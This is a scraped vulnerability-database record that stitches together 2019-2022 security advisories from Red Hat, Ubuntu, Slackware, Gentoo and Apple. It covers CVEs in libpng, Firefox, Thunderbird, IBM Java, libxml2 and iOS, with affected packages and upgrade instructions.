1672409 - CVE-2019-7317 libpng: use-after-free in png_image_free in png.c 1676997 - CVE-2018-18511 mozilla: Cross-origin theft of images with ImageBitmapRenderingContext 1688200 - CVE-2019-5798 chromium-browser: Out of bounds read in Skia 1712617 - CVE-2019-11691 Mozilla: Use-after-free in XMLHttpRequest 1712618 - CVE-2019-11692 Mozilla: Use-after-free removing listeners in the event listener manager 1712619 - CVE-2019-11693 Mozilla: Buffer overflow in WebGL bufferdata on Linux 1712621 - CVE-2019-11698 Mozilla: Theft of user history data through drag and drop of hyperlinks to and from bookmarks 1712622 - CVE-2019-9797 Mozilla: Cross-origin theft of images with createImageBitmap 1712623 - CVE-2019-9800 Mozilla: Memory safety bugs fixed in Firefox 67 and Firefox ESR 60.7 1712626 - CVE-2019-9817 Mozilla: Stealing of cross-domain images using canvas 1712628 - CVE-2019-9819 Mozilla: Compartment mismatch with fetch API 1712629 - CVE-2019-9820 Mozilla: Use-after-free of ChromeEventHandler by DocShell
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: thunderbird-60.7.0-1.el7_6.src.rpm
x86_64: thunderbird-60.7.0-1.el7_6.x86_64.rpm thunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
Source: thunderbird-60.7.0-1.el7_6.src.rpm
ppc64le: thunderbird-60.7.0-1.el7_6.ppc64le.rpm thunderbird-debuginfo-60.7.0-1.el7_6.ppc64le.rpm
x86_64: thunderbird-60.7.0-1.el7_6.x86_64.rpm thunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm
Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):
Source: thunderbird-60.7.0-1.el7_6.src.rpm
aarch64: thunderbird-60.7.0-1.el7_6.aarch64.rpm thunderbird-debuginfo-60.7.0-1.el7_6.aarch64.rpm
ppc64le: thunderbird-60.7.0-1.el7_6.ppc64le.rpm thunderbird-debuginfo-60.7.0-1.el7_6.ppc64le.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: thunderbird-60.7.0-1.el7_6.src.rpm
x86_64: thunderbird-60.7.0-1.el7_6.x86_64.rpm thunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-18511 https://access.redhat.com/security/cve/CVE-2019-5798 https://access.redhat.com/security/cve/CVE-2019-7317 https://access.redhat.com/security/cve/CVE-2019-9797 https://access.redhat.com/security/cve/CVE-2019-9800 https://access.redhat.com/security/cve/CVE-2019-9817 https://access.redhat.com/security/cve/CVE-2019-9819 https://access.redhat.com/security/cve/CVE-2019-9820 https://access.redhat.com/security/cve/CVE-2019-11691 https://access.redhat.com/security/cve/CVE-2019-11692 https://access.redhat.com/security/cve/CVE-2019-11693 https://access.redhat.com/security/cve/CVE-2019-11698 https://access.redhat.com/security/updates/classification/#important https://www.mozilla.org/en-US/security/advisories/mfsa2019-15/
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2019 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . 6) - i386, x86_64
- ========================================================================== Ubuntu Security Notice USN-3991-2 June 06, 2019
firefox regression
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 19.04
- Ubuntu 18.10
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
Summary:
USN-3991-1 caused a regression in Firefox. The update caused a regression which resulted in issues when upgrading between Ubuntu releases. This update fixes the problem.
We apologize for the inconvenience.
Original advisory details:
Multiple security issues were discovered in Firefox. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit these to cause a denial of service, spoof the browser UI, trick the user in to launching local executable binaries, obtain sensitive information, conduct cross-site scripting (XSS) attacks, or execute arbitrary code. (CVE-2019-11691, CVE-2019-11692, CVE-2019-11693, CVE-2019-11695, CVE-2019-11696, CVE-2019-11699, CVE-2019-11701, CVE-2019-7317, CVE-2019-9800, CVE-2019-9814, CVE-2019-9817, CVE-2019-9819, CVE-2019-9820, CVE-2019-9821)
It was discovered that pressing certain key combinations could bypass addon installation prompt delays. If a user opened a specially crafted website, an attacker could potentially exploit this to trick them in to installing a malicious extension. (CVE-2019-11697)
It was discovered that history data could be exposed via drag and drop of hyperlinks to and from bookmarks. If a user were tricked in to dragging a specially crafted hyperlink to the bookmark toolbar or sidebar, and subsequently back in to the web content area, an attacker could potentially exploit this to obtain sensitive information. (CVE-2019-11698)
A type confusion bug was discovered with object groups and UnboxedObjects. If a user were tricked in to opening a specially crafted website after enabling the UnboxedObjects feature, an attacker could potentially exploit this to bypass security checks. 8) - aarch64, ppc64le, s390x, x86_64
- Description:
Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied. 7) - x86_64
- Description:
IBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit.
Security Fix(es):
-
IBM JDK: Out-of-bounds access in the String.getBytes method (CVE-2019-11772)
-
IBM JDK: Failure to privatize a value pulled out of the loop by versioning (CVE-2019-11775)
-
OpenJDK: Insufficient checks of suppressed exceptions in deserialization (Utilities, 8212328) (CVE-2019-2762)
-
OpenJDK: Unbounded memory allocation during deserialization in Collections (Utilities, 8213432) (CVE-2019-2769)
-
OpenJDK: Missing URL format validation (Networking, 8221518) (CVE-2019-2816)
-
OpenJDK: Insufficient restriction of privileges in AccessController (Security, 8216381) (CVE-2019-2786)
-
libpng: use-after-free in png_image_free in png.c (CVE-2019-7317)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):
1672409 - CVE-2019-7317 libpng: use-after-free in png_image_free in png.c 1730056 - CVE-2019-2769 OpenJDK: Unbounded memory allocation during deserialization in Collections (Utilities, 8213432) 1730099 - CVE-2019-2816 OpenJDK: Missing URL format validation (Networking, 8221518) 1730255 - CVE-2019-2786 OpenJDK: Insufficient restriction of privileges in AccessController (Security, 8216381) 1730415 - CVE-2019-2762 OpenJDK: Insufficient checks of suppressed exceptions in deserialization (Utilities, 8212328) 1738547 - CVE-2019-11772 IBM JDK: Out-of-bounds access in the String.getBytes method 1738549 - CVE-2019-11775 IBM JDK: Failure to privatize a value pulled out of the loop by versioning
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
[slackware-security] libpng (SSA:2019-107-01)
New libpng packages are available for Slackware 14.2 and -current to fix security issues.
Here are the details from the Slackware 14.2 ChangeLog: +--------------------------+ patches/packages/libpng-1.6.37-i586-1_slack14.2.txz: Upgraded. Fixed a memory leak in the ARM NEON implementation of png_do_expand_palette. Fixed a memory leak in pngtest.c. Fixed two vulnerabilities (CVE-2018-14048, CVE-2018-14550) in contrib/pngminus; refactor. For more information, see: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14048 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14550 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7317 ( Security fix ) +--------------------------+
Where to find the new packages: +-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you.
Updated package for Slackware 14.2: ftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/libpng-1.6.37-i586-1_slack14.2.txz
Updated package for Slackware x86_64 14.2: ftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/libpng-1.6.37-x86_64-1_slack14.2.txz
Updated package for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/libpng-1.6.37-i586-1.txz
Updated package for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/libpng-1.6.37-x86_64-1.txz
MD5 signatures: +-------------+
Slackware 14.2 package: 829f6c020ad10fe9b09e94bceb7fae26 libpng-1.6.37-i586-1_slack14.2.txz
Slackware x86_64 14.2 package: e141813a42551a3c31df15b8495dc1a3 libpng-1.6.37-x86_64-1_slack14.2.txz
Slackware -current package: 0f711d15bd85893a02f398b95b7d3f06 l/libpng-1.6.37-i586-1.txz
Slackware x86_64 -current package: d8bdd5c1a73fa487c5f1a1a4b3ec2f63 l/libpng-1.6.37-x86_64-1.txz
Installation instructions: +------------------------+
Upgrade the package as root:
upgradepkg libpng-1.6.37-i586-1_slack14.2.txz
+-----+
Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com
+------------------------------------------------------------------------+ | To leave the slackware-security mailing list: | +------------------------------------------------------------------------+ | Send an email to majordomo@slackware.com with this text in the body of | | the email message: | | | | unsubscribe slackware-security | | | | You will get a confirmation message back containing instructions to | | complete the process. Please do not reply to this email address
Show details on source website{
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"description": {
"_id": null,
"data": "png_image_free in png.c in libpng 1.6.x before 1.6.37 has a use-after-free because png_image_free_function is called under png_safe_execute. libpng Exists in a vulnerability related to the use of freed memory.Service operation interruption (DoS) It may be in a state. libpng is prone to a denial-of-service vulnerability. \nAn attacker may exploit this issue to crash the affected application, resulting in a denial-of-service condition. \nlibpng version 1.6.36 is vulnerable; other versions may also be affected. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Important: thunderbird security update\nAdvisory ID: RHSA-2019:1309-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2019:1309\nIssue date: 2019-06-03\nCVE Names: CVE-2018-18511 CVE-2019-5798 CVE-2019-7317 \n CVE-2019-9797 CVE-2019-9800 CVE-2019-9817 \n CVE-2019-9819 CVE-2019-9820 CVE-2019-11691 \n CVE-2019-11692 CVE-2019-11693 CVE-2019-11698 \n=====================================================================\n\n1. Summary:\n\nAn update for thunderbird is now available for Red Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64le, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - aarch64, ppc64le\n\n3. Description:\n\nMozilla Thunderbird is a standalone mail and newsgroup client. \n\nThis update upgrades Thunderbird to version 60.7.0. \n\nSecurity Fix(es):\n\n* Mozilla: Memory safety bugs fixed in Firefox 67 and Firefox ESR 60.7\n(CVE-2019-9800)\n\n* Mozilla: Cross-origin theft of images with createImageBitmap\n(CVE-2019-9797)\n\n* Mozilla: Stealing of cross-domain images using canvas (CVE-2019-9817)\n\n* Mozilla: Compartment mismatch with fetch API (CVE-2019-9819)\n\n* Mozilla: Use-after-free of ChromeEventHandler by DocShell (CVE-2019-9820)\n\n* Mozilla: Use-after-free in XMLHttpRequest (CVE-2019-11691)\n\n* Mozilla: Use-after-free removing listeners in the event listener manager\n(CVE-2019-11692)\n\n* Mozilla: Buffer overflow in WebGL bufferdata on Linux (CVE-2019-11693)\n\n* mozilla: Cross-origin theft of images with ImageBitmapRenderingContext\n(CVE-2018-18511)\n\n* chromium-browser: Out of bounds read in Skia (CVE-2019-5798)\n\n* Mozilla: Theft of user history data through drag and drop of hyperlinks\nto and from bookmarks (CVE-2019-11698)\n\n* libpng: use-after-free in png_image_free in png.c (CVE-2019-7317)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nAll running instances of Thunderbird must be restarted for the update to\ntake effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1672409 - CVE-2019-7317 libpng: use-after-free in png_image_free in png.c\n1676997 - CVE-2018-18511 mozilla: Cross-origin theft of images with ImageBitmapRenderingContext\n1688200 - CVE-2019-5798 chromium-browser: Out of bounds read in Skia\n1712617 - CVE-2019-11691 Mozilla: Use-after-free in XMLHttpRequest\n1712618 - CVE-2019-11692 Mozilla: Use-after-free removing listeners in the event listener manager\n1712619 - CVE-2019-11693 Mozilla: Buffer overflow in WebGL bufferdata on Linux\n1712621 - CVE-2019-11698 Mozilla: Theft of user history data through drag and drop of hyperlinks to and from bookmarks\n1712622 - CVE-2019-9797 Mozilla: Cross-origin theft of images with createImageBitmap\n1712623 - CVE-2019-9800 Mozilla: Memory safety bugs fixed in Firefox 67 and Firefox ESR 60.7\n1712626 - CVE-2019-9817 Mozilla: Stealing of cross-domain images using canvas\n1712628 - CVE-2019-9819 Mozilla: Compartment mismatch with fetch API\n1712629 - CVE-2019-9820 Mozilla: Use-after-free of ChromeEventHandler by DocShell\n\n6. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nthunderbird-60.7.0-1.el7_6.src.rpm\n\nx86_64:\nthunderbird-60.7.0-1.el7_6.x86_64.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nSource:\nthunderbird-60.7.0-1.el7_6.src.rpm\n\nppc64le:\nthunderbird-60.7.0-1.el7_6.ppc64le.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.ppc64le.rpm\n\nx86_64:\nthunderbird-60.7.0-1.el7_6.x86_64.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm\n\nRed Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7):\n\nSource:\nthunderbird-60.7.0-1.el7_6.src.rpm\n\naarch64:\nthunderbird-60.7.0-1.el7_6.aarch64.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.aarch64.rpm\n\nppc64le:\nthunderbird-60.7.0-1.el7_6.ppc64le.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.ppc64le.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nthunderbird-60.7.0-1.el7_6.src.rpm\n\nx86_64:\nthunderbird-60.7.0-1.el7_6.x86_64.rpm\nthunderbird-debuginfo-60.7.0-1.el7_6.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-18511\nhttps://access.redhat.com/security/cve/CVE-2019-5798\nhttps://access.redhat.com/security/cve/CVE-2019-7317\nhttps://access.redhat.com/security/cve/CVE-2019-9797\nhttps://access.redhat.com/security/cve/CVE-2019-9800\nhttps://access.redhat.com/security/cve/CVE-2019-9817\nhttps://access.redhat.com/security/cve/CVE-2019-9819\nhttps://access.redhat.com/security/cve/CVE-2019-9820\nhttps://access.redhat.com/security/cve/CVE-2019-11691\nhttps://access.redhat.com/security/cve/CVE-2019-11692\nhttps://access.redhat.com/security/cve/CVE-2019-11693\nhttps://access.redhat.com/security/cve/CVE-2019-11698\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://www.mozilla.org/en-US/security/advisories/mfsa2019-15/\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXPWIu9zjgjWX9erEAQg21w//Z7v1kJQho28efeI70LrXGp/n0Hlj5i2m\nJwhPrwWDnz5BH5WbYrPIch/2CTL7znXR6v5rjisXoFhtvoSme3LPStyijp+bMXGr\nFtKnWFJRVt87gWZ8NwvY/mtwCjpIXSOCkAdEe6Rk+crG4gtBRct32ZDfcH+6U1Km\ncPpoguI0Q4cd/KZ4yiyFgUG66k0vBZ/mqUch480+vtlNkiO5JhZzPapTMEr5C9Ay\nqKmn6A98z3eVOpligYZ/5nAC4HfY6AhQp4CWFPijmvobJzq1a9z0XH4L9KeQk6RA\nlaW0+rzw9NcsSk4c5WMWlcl9YzzYSr663av26VIKwgUnMEGjmBKstSUfgYIBgu3j\nROMrVlHl2BTPJNrGtW0arWLo2pC0qCKEwcMGo8aisyNBLMc9QXFP4CCjf6uVtpU7\nVYfHz3bwfokj7R9dFDh3dDTmyrLeAWkoDckEmo59XEfXaA1u7E/QEAnxA4h9wCb3\nTU1frVhktXSh4lPO5JYIE4cpT50MJEyt2FPsSfQaL+q2EUMNlxR5IckSDx+sFicn\njSelaqnOEpJQSle2bLWAQmGgWeMMkyHbRReCjRMBYPt0F/qbFiKIvRJISEYlVb9L\nxpnYw8aTMn5OFxH2BCT/+mVniOhZYqPK8CfEF2dTKZ7hYtzammrzndSZf2ifG574\n3/xegYaen8Q=\n=TKs0\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. 6) - i386, x86_64\n\n3. ==========================================================================\nUbuntu Security Notice USN-3991-2\nJune 06, 2019\n\nfirefox regression\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 19.04\n- Ubuntu 18.10\n- Ubuntu 18.04 LTS\n- Ubuntu 16.04 LTS\n\nSummary:\n\nUSN-3991-1 caused a regression in Firefox. The update caused a\nregression which resulted in issues when upgrading between Ubuntu\nreleases. This update fixes the problem. \n\nWe apologize for the inconvenience. \n\nOriginal advisory details:\n\n Multiple security issues were discovered in Firefox. If a user were\n tricked in to opening a specially crafted website, an attacker could\n potentially exploit these to cause a denial of service, spoof the browser\n UI, trick the user in to launching local executable binaries, obtain\n sensitive information, conduct cross-site scripting (XSS) attacks, or\n execute arbitrary code. (CVE-2019-11691, CVE-2019-11692, CVE-2019-11693,\n CVE-2019-11695, CVE-2019-11696, CVE-2019-11699, CVE-2019-11701,\n CVE-2019-7317, CVE-2019-9800, CVE-2019-9814, CVE-2019-9817, CVE-2019-9819,\n CVE-2019-9820, CVE-2019-9821)\n \n It was discovered that pressing certain key combinations could bypass\n addon installation prompt delays. If a user opened a specially crafted\n website, an attacker could potentially exploit this to trick them in to\n installing a malicious extension. (CVE-2019-11697)\n \n It was discovered that history data could be exposed via drag and drop\n of hyperlinks to and from bookmarks. If a user were tricked in to dragging\n a specially crafted hyperlink to the bookmark toolbar or sidebar, and\n subsequently back in to the web content area, an attacker could\n potentially exploit this to obtain sensitive information. (CVE-2019-11698)\n \n A type confusion bug was discovered with object groups and UnboxedObjects. \n If a user were tricked in to opening a specially crafted website after\n enabling the UnboxedObjects feature, an attacker could potentially\n exploit this to bypass security checks. 8) - aarch64, ppc64le, s390x, x86_64\n\n3. Description:\n\nMozilla Firefox is an open-source web browser, designed for standards\ncompliance, performance, and portability. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. 7) - x86_64\n\n3. Description:\n\nIBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM\nJava Software Development Kit. \n\nSecurity Fix(es):\n\n* IBM JDK: Out-of-bounds access in the String.getBytes method\n(CVE-2019-11772)\n\n* IBM JDK: Failure to privatize a value pulled out of the loop by\nversioning (CVE-2019-11775)\n\n* OpenJDK: Insufficient checks of suppressed exceptions in deserialization\n(Utilities, 8212328) (CVE-2019-2762)\n\n* OpenJDK: Unbounded memory allocation during deserialization in\nCollections (Utilities, 8213432) (CVE-2019-2769)\n\n* OpenJDK: Missing URL format validation (Networking, 8221518)\n(CVE-2019-2816)\n\n* OpenJDK: Insufficient restriction of privileges in AccessController\n(Security, 8216381) (CVE-2019-2786)\n\n* libpng: use-after-free in png_image_free in png.c (CVE-2019-7317)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):\n\n1672409 - CVE-2019-7317 libpng: use-after-free in png_image_free in png.c\n1730056 - CVE-2019-2769 OpenJDK: Unbounded memory allocation during deserialization in Collections (Utilities, 8213432)\n1730099 - CVE-2019-2816 OpenJDK: Missing URL format validation (Networking, 8221518)\n1730255 - CVE-2019-2786 OpenJDK: Insufficient restriction of privileges in AccessController (Security, 8216381)\n1730415 - CVE-2019-2762 OpenJDK: Insufficient checks of suppressed exceptions in deserialization (Utilities, 8212328)\n1738547 - CVE-2019-11772 IBM JDK: Out-of-bounds access in the String.getBytes method\n1738549 - CVE-2019-11775 IBM JDK: Failure to privatize a value pulled out of the loop by versioning\n\n6. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n[slackware-security] libpng (SSA:2019-107-01)\n\nNew libpng packages are available for Slackware 14.2 and -current to\nfix security issues. \n\n\nHere are the details from the Slackware 14.2 ChangeLog:\n+--------------------------+\npatches/packages/libpng-1.6.37-i586-1_slack14.2.txz: Upgraded. \n Fixed a memory leak in the ARM NEON implementation of png_do_expand_palette. \n Fixed a memory leak in pngtest.c. \n Fixed two vulnerabilities (CVE-2018-14048, CVE-2018-14550) in\n contrib/pngminus; refactor. \n For more information, see:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14048\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14550\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7317\n (* Security fix *)\n+--------------------------+\n\n\nWhere to find the new packages:\n+-----------------------------+\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you. \n\nUpdated package for Slackware 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/libpng-1.6.37-i586-1_slack14.2.txz\n\nUpdated package for Slackware x86_64 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/libpng-1.6.37-x86_64-1_slack14.2.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/libpng-1.6.37-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/libpng-1.6.37-x86_64-1.txz\n\n\nMD5 signatures:\n+-------------+\n\nSlackware 14.2 package:\n829f6c020ad10fe9b09e94bceb7fae26 libpng-1.6.37-i586-1_slack14.2.txz\n\nSlackware x86_64 14.2 package:\ne141813a42551a3c31df15b8495dc1a3 libpng-1.6.37-x86_64-1_slack14.2.txz\n\nSlackware -current package:\n0f711d15bd85893a02f398b95b7d3f06 l/libpng-1.6.37-i586-1.txz\n\nSlackware x86_64 -current package:\nd8bdd5c1a73fa487c5f1a1a4b3ec2f63 l/libpng-1.6.37-x86_64-1.txz\n\n\nInstallation instructions:\n+------------------------+\n\nUpgrade the package as root:\n# upgradepkg libpng-1.6.37-i586-1_slack14.2.txz\n\n\n+-----+\n\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address",
"sources": [
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VAR-202202-0906
Vulnerability from variot - Updated: 2026-03-09 22:00valid.c in libxml2 before 2.9.13 has a use-after-free of ID and IDREF attributes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202210-03
https://security.gentoo.org/
Severity: High Title: libxml2: Multiple Vulnerabilities Date: October 16, 2022 Bugs: #833809, #842261, #865727 ID: 202210-03
Synopsis
Multiple vulnerabilities have been discovered in libxml2, the worst of which could result in arbitrary code execution.
Background
libxml2 is the XML C parser and toolkit developed for the GNOME project.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 dev-libs/libxml2 < 2.10.2 >= 2.10.2
Description
Multiple vulnerabilities have been discovered in libxml2. Please review the CVE identifiers referenced below for details.
Impact
Please review the referenced CVE identifiers for details.
Workaround
There is no known workaround at this time.
Resolution
All libxml2 users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=dev-libs/libxml2-2.10.2"
References
[ 1 ] CVE-2022-23308 https://nvd.nist.gov/vuln/detail/CVE-2022-23308 [ 2 ] CVE-2022-29824 https://nvd.nist.gov/vuln/detail/CVE-2022-29824
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
https://security.gentoo.org/glsa/202210-03
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2022 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2022-05-16-1 iOS 15.5 and iPadOS 15.5
iOS 15.5 and iPadOS 15.5 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213258.
AppleAVD Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed with improved memory management. CVE-2022-26702: an anonymous researcher
AppleGraphicsControl Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved input validation. CVE-2022-26751: Michael DePlante (@izobashi) of Trend Micro Zero Day Initiative
AVEVideoEncoder Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write issue was addressed with improved bounds checking. CVE-2022-26736: an anonymous researcher CVE-2022-26737: an anonymous researcher CVE-2022-26738: an anonymous researcher CVE-2022-26739: an anonymous researcher CVE-2022-26740: an anonymous researcher
DriverKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious application may be able to execute arbitrary code with system privileges Description: An out-of-bounds access issue was addressed with improved bounds checking. CVE-2022-26763: Linus Henze of Pinauten GmbH (pinauten.de)
GPU Drivers Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved state management. CVE-2022-26744: an anonymous researcher
ImageIO Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution Description: An integer overflow issue was addressed with improved input validation. CVE-2022-26711: actae0n of Blacksun Hackers Club working with Trend Micro Zero Day Initiative
IOKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with improved locking. CVE-2022-26701: chenyuwang (@mzzzz__) of Tencent Security Xuanwu Lab
IOMobileFrameBuffer Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved state management. CVE-2022-26768: an anonymous researcher
IOSurfaceAccelerator Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved state management. CVE-2022-26771: an anonymous researcher
Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved validation. CVE-2022-26714: Peter Nguyễn Vũ Hoàng (@peternguyen14) of STAR Labs (@starlabs_sg)
Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed with improved memory management. CVE-2022-26757: Ned Williamson of Google Project Zero
Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An attacker that has already achieved kernel code execution may be able to bypass kernel memory mitigations Description: A memory corruption issue was addressed with improved validation. CVE-2022-26764: Linus Henze of Pinauten GmbH (pinauten.de)
